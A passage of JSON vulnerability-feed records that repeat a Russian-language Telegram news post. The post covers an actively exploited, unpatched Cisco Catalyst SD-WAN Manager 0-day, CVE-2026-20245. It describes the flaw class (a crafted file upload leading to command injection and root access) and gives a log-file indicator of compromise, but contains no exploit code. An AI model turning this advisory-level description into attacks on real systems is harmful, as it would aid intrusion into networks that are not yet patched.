\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0414\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0431\u044b\u043b \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d Cisco Catalyst SD-WAN Manager, \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Cisco (TAC), \u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430\u00a0\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0435\u0441\u044f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e-\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438,\u00a0\u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\nCisco \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2026-20245, \u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f CVE-2026-20182, \u043e\u0442 14 \u043c\u0430\u044f.", "creation_timestamp": "2026-06-05T11:13:51.000000Z"}, {"uuid": "34b41198-bf1e-4c4c-8a39-6f3caba0ffc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/true_secator/8282", "content": "Cisco \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 0-day \u0432 Cisco Catalyst SD-WAN Manager (CVE-2026-20245\u00a0), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n0-day \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0442\u0438\u043f\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435, Cisco SD-WAN Cloud-Pro, Cisco SD-WAN Cloud (\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0435 Cisco) \u0438 Cisco SD-WAN \u0434\u043b\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 (FedRAMP).\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u044f\u0432\u0438\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0440\u0430\u0432\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CVE-2026-20182 \u0438\u043b\u0438 CVE-2026-20127.\n\nCisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438, \u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0432\u0448\u0435\u043c\u0443\u0441\u044f \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u0430\u043a SD-WAN vManage, \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043e 6000 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Catalyst SD-WAN \u0441 \u0435\u0434\u0438\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nCisco (PSIRT) \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-20245 \u0432 \u0438\u044e\u043d\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0434\u043e\u0447\u0435\u0440\u043d\u044f\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, Mandiant, \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c IOCs, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0444\u0430\u0439\u043b /var/log/scripts.log \u043d\u0430 SD-WAN \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b vSmart \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0414\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0431\u044b\u043b \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d Cisco Catalyst SD-WAN Manager, \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Cisco (TAC), \u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430\u00a0\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0435\u0441\u044f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e-\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438,\u00a0\u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\nCisco \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2026-20245, \u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f CVE-2026-20182, \u043e\u0442 14 \u043c\u0430\u044f.", "creation_timestamp": "2026-06-05T11:13:51.000000Z"}, {"uuid": "007e9f27-6945-483c-949a-2a1c5324f30a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/true_secator/8282", "content": "Cisco \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 0-day \u0432 Cisco Catalyst SD-WAN Manager (CVE-2026-20245\u00a0), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n0-day \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0442\u0438\u043f\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435, Cisco SD-WAN Cloud-Pro, Cisco SD-WAN Cloud (\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0435 Cisco) \u0438 Cisco SD-WAN \u0434\u043b\u044f \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 (FedRAMP).\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0437\u0430\u044f\u0432\u0438\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u043f\u0440\u0430\u0432\u0430 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 CVE-2026-20182 \u0438\u043b\u0438 CVE-2026-20127.\n\nCisco \u043f\u043e\u043a\u0430 \u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439 \u043e\u0431 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438, \u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0441\u043b\u0443\u0447\u0430\u0435\u0432, \u043a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u043e \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0432\u0448\u0435\u043c\u0443\u0441\u044f \u043d\u0430 \u043f\u0435\u0440\u0438\u0444\u0435\u0440\u0438\u0439\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u0420\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u043a\u0430\u043a SD-WAN vManage, \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u043e 6000 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 Catalyst SD-WAN \u0441 \u0435\u0434\u0438\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\nCisco (PSIRT) \u0443\u0437\u043d\u0430\u043b\u0430 \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 CVE-2026-20245 \u0432 \u0438\u044e\u043d\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0434\u043e\u0447\u0435\u0440\u043d\u044f\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Google \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, Mandiant, \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u043e \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0432 \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438\u0441\u044c IOCs, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0444\u0430\u0439\u043b /var/log/scripts.log \u043d\u0430 SD-WAN \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b vSmart \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\n\n\u0414\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0431\u044b\u043b \u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d Cisco Catalyst SD-WAN Manager, \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u043b\u0443\u0436\u0431\u0443 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Cisco (TAC), \u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430\u00a0\u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0435\u0441\u044f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e-\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 